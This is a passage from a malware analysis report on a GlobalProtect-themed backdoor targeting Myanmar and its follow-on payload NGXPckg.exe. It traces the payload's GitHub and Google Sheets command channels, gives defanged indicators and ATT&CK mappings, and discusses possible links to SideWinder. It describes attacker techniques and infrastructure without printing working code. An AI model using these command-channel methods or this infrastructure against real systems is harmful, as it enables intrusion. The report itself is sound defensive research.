| 5 | Authenticated PUT https://api.github[.]com/repos/faviconicons2/images/contents/ljrxpCM6T630uiZt/QWRtaW4%20.txt | WinHttpSendRequest returned success with a 429-byte optional body; WinHttpReceiveResponse returned success | A token-bearing write request reached successful API return boundaries, but HTTP status, server acknowledgement, and remote mutation were not verified |
| 6 | Authenticated GET of the same per-run .txt path | Send, receive and read returned success; the API reported 297 bytes read | Same-path verification traffic was observed; response-content attribution is unreliable in this export |
The sample also opened %LOCALAPPDATA%\TM87945 for writing, and WriteFile recorded 16 bytes. This confirms the local-staging path found during static analysis. The run reached the GitHub exchange but did not reach the sample's command-execution routine.
One saved body cannot be trusted: the 297-byte artifact associated with the final GitHub GET has the same SHA-256 as the earlier geolocation JSON. This is a response-lineage anomaly, not a cryptographic collision. The WinHTTP calls still establish that the same-path GET occurred, but that saved body cannot tell us what GitHub returned or whether the preceding PUT changed the repository.
Relationship to the DellHeuristics investigation
This runtime chain has substantial infrastructure and protocol overlap with the separately analyzed DellHeuristics.exe investigation. The comparison is not based on GitHub use alone. Both executables use WinHTTP, query public geolocation, obtain bootstrap material from raw GitHub content, access the same faviconicons2/images repository through GitHub Contents API, retrieve the same License object, require the same Readme9823 continuation marker, construct an authenticated PUT to a randomized per-run .txt path, and follow it with a same-path GET.
The two files are not byte-identical. DellHeuristics.exe has SHA-256 cbbe346b679871b3a70b0493dc52565280211b3354f480dc0c02abcfb862af87; NGXPckg.exe has SHA-256 2fd4df25928fa2239d40696c67e638ddb1e10a070a3d9726864a498f68d8559a. Their sizes, raw-GitHub bootstrap paths and randomized .txt paths also differ. The shared workflow is strong enough to justify a function-level comparison and infrastructure hunt, but not strong enough to name a common operator by itself.
There is also an important difference between the two runs. DellHeuristics required an analyst-modified continuation during one confirmatory execution. NGXPckg.exe received countryCode MM naturally and continued through the authenticated PUT and same-path GET without a recorded country-code patch.
What the September 15 traces established
The follow-on work changes the case from a static command-channel assessment to an observed tasking chain:
| Claim | Updated assessment | Evidence |
|---|---|---|
| Later-session command retrieval | Observed | GET for Sheet1!C13, 320 response bytes, analyst-retained C13 value and independently reproduced decryption |
| Command content | Recovered offline | AES-256-CBC decryption yields the defanged curl download command |
| Shell launch | Observed | Event 3213: CreateProcessW, ReturnValue=true, child PID 7040 |
| Output collection | Observed at API level | Eight nonzero ReadFile returns totaling 628 bytes |
| D13 result submission | Observed attempt and response | HttpSendRequestA returned true for Sheet1!D13; 166 response bytes observed |
| D13 stored content | Confirmed by separate read-back | Two D13 values decoded to curl progress and connection errors with different elapsed times; each has 3,810 decoded bytes and neither is attributed to the trace's 628 pipe bytes |
| Follow-on payload acquisition | Confirmed | NGXPckg.exe landed at the commanded VM path, was copied for analysis, and was independently reacquired from the recovered URL |
| GitHub response content | Unreliable | The saved final-GET body repeats the earlier geolocation body; the API sequence remains usable, but that body does not establish repository state |
The September 15 findings strengthen T1059.003: Windows Command Shell, T1105: Ingress Tool Transfer and T1497.003: Time Based Evasion. The GitHub, raw-content, geolocation and fallback endpoints also reinforce T1102: Web Service and T1071.001: Web Protocols. These mappings describe behavior, not authorship.
Additional indicators
All network indicators remain defanged. Shared platforms require process, path, signer, command-line and sequence correlation.
| Type | Indicator | Scope |
|---|---|---|
| SHA-256 | 2fd4df25928fa2239d40696c67e638ddb1e10a070a3d9726864a498f68d8559a | Unsigned VM-deployed NGXPckg.exe copied and analyzed by the researcher |
| Domain / URI | cctvcam[.]serveblog[.]net/weblogin/ngxpkg | Decrypted C13 transfer source |
| Path | C:\ProgramData\USOShared\NGXPckg.exe | C13 transfer destination |
| Contextual service | ip-api[.]com/json | Second-stage geolocation gate |
| Runtime service / URI | raw.githubusercontent[.]com/thetcoregorup1/collection/refs/heads/main/Readme12 | Runtime-observed marker retrieval |
| Runtime service / URI | raw.githubusercontent[.]com/thetcoregorup1/collection/refs/heads/main/infosource45 | Runtime-observed 65-byte bootstrap retrieval |
| Runtime service / URI | api.github[.]com/repos/faviconicons2/images/contents/License | Runtime-observed Readme9823 marker retrieval |
| Static repository scan | api.github[.]com/repos/faviconicons{2..10}/images/contents/License | Code-derived repository family; the run selected faviconicons2 |
| Per-run API path | api.github[.]com/repos/faviconicons2/images/contents/ljrxpCM6T630uiZt/QWRtaW4%20.txt | Runtime-observed authenticated PUT and same-path GET; remote mutation not verified |
| IP address | 5.230.254[.]220 | Decrypted alternate host; runtime use not observed |
| URI | /weblanguage.php | Alternate-host request path; runtime use not observed |
| Marker | Test1234 | Raw-content discovery marker |
| Marker | Readme9823 | GitHub command-channel marker |
| Local path | %LOCALAPPDATA%\TM87945 | Runtime-observed create/write target; 16 bytes written |
All domains, IPs and request paths used for hunting are published above in defanged form, including the numbered GitHub repository family and the observed per-run path. The C13 ciphertext and offline decoder are also public. We withheld only reusable authentication material, the active spreadsheet identifier, victim-linked values and the raw D13 body.
Final assessment
The installer is a deceptive GlobalProtect-themed backdoor built around services that defenders normally expect to see: Google Sites for delivery, Cloudflare Workers for configuration, Google OAuth and Sheets for first-stage command exchange, and GitHub for the follow-on channel. The Myanmar check is part of the execution path, not a theme inferred from a string or lure.
The runtime story has two distinct Sheets sessions. The first authenticated successfully, read A1, updated B1 and found no task in C1. The September 15 session retrieved encrypted tasking from C13, created a hidden cmd.exe /c curl child, collected 628 bytes from its pipe and sent a result toward D13. A separate Sheet read-back found curl output in D13, including a connection failure from one attempt. The VM also held the downloaded NGXPckg.exe at C:\ProgramData\USOShared; we copied that deployed file, calculated its hash, reverse engineered it and ran it under MalwareINFO Pro Deep API Trace. We independently downloaded the same recovered URL to check the acquisition path. These observations establish both D's result-storage role and the follow-on payload's behavior without claiming that the failed D13 attempt produced the VM file.
NGXPckg.exe waits about five minutes, enforces the same Myanmar condition, discovers configuration through raw GitHub content, selects a repository from faviconicons{2..10}, retrieves the Readme9823 marker and performs an authenticated GitHub PUT followed by a same-path GET. The observed run selected faviconicons2 and wrote 16 bytes to %LOCALAPPDATA%\TM87945. The saved body for the final GET is misattributed, so it cannot be used to describe GitHub's response, but the ordered API calls and exact paths remain useful hunting evidence.
The overlap with DellHeuristics makes relatedness analysis worthwhile. SideWinder is the most relevant public comparison because of Myanmar targeting, phishing-led delivery, imitation sites, geographic filtering and the separate DellHeuristics IOC connection. HoneyMyte remains in the article as a negative regional comparison. Neither comparison is an attribution: no public actor-specific indicator or established malware lineage currently closes that gap.
References
- Palo Alto Networks — GlobalProtect Overview
- Microsoft — Dynamic-link library search order
- Microsoft — Dynamic-Link Library Security
- Microsoft — Run and RunOnce Registry Keys
- Cloudflare — How Workers works
- Google — Using OAuth 2.0 for Server to Server Applications
- Google — Sheets API: spreadsheets.values.get
- Google — Read and write cell values
- MITRE ATT&CK — Spearphishing Link
- MITRE ATT&CK — Masquerading: Match Legitimate Resource Name or Location
- MITRE ATT&CK — System Binary Proxy Execution: Msiexec
- MITRE ATT&CK — Registry Run Keys / Startup Folder
- MITRE ATT&CK — Scheduled Task
- MITRE ATT&CK — Internet Connection Discovery
- MITRE ATT&CK — Web Service
- MITRE ATT&CK — Web Protocols
- MITRE ATT&CK — Windows Command Shell
- MITRE ATT&CK — Ingress Tool Transfer
- MITRE ATT&CK — Time Based Evasion
- CISA — StopRansomware Guide
- Kaspersky Securelist — HoneyMyte upgrades CoolClient: the backdoor gets a kernel-mode rootkit
- Kaspersky Securelist — SideWinder targets the maritime and nuclear sectors with an updated toolset
- Group-IB — Old Snake, New Skin: SideWinder APT Activity Analysis 2021
- Trellix — SecondSight Threat Hunting Report, February 2026
- MITRE ATT&CK — SideWinder, G0121
- Malware INFO — DellHeuristics WinHTTP, GitHub API, and runtime-memory analysis
- Malware INFO — How to Use Malware INFO Safely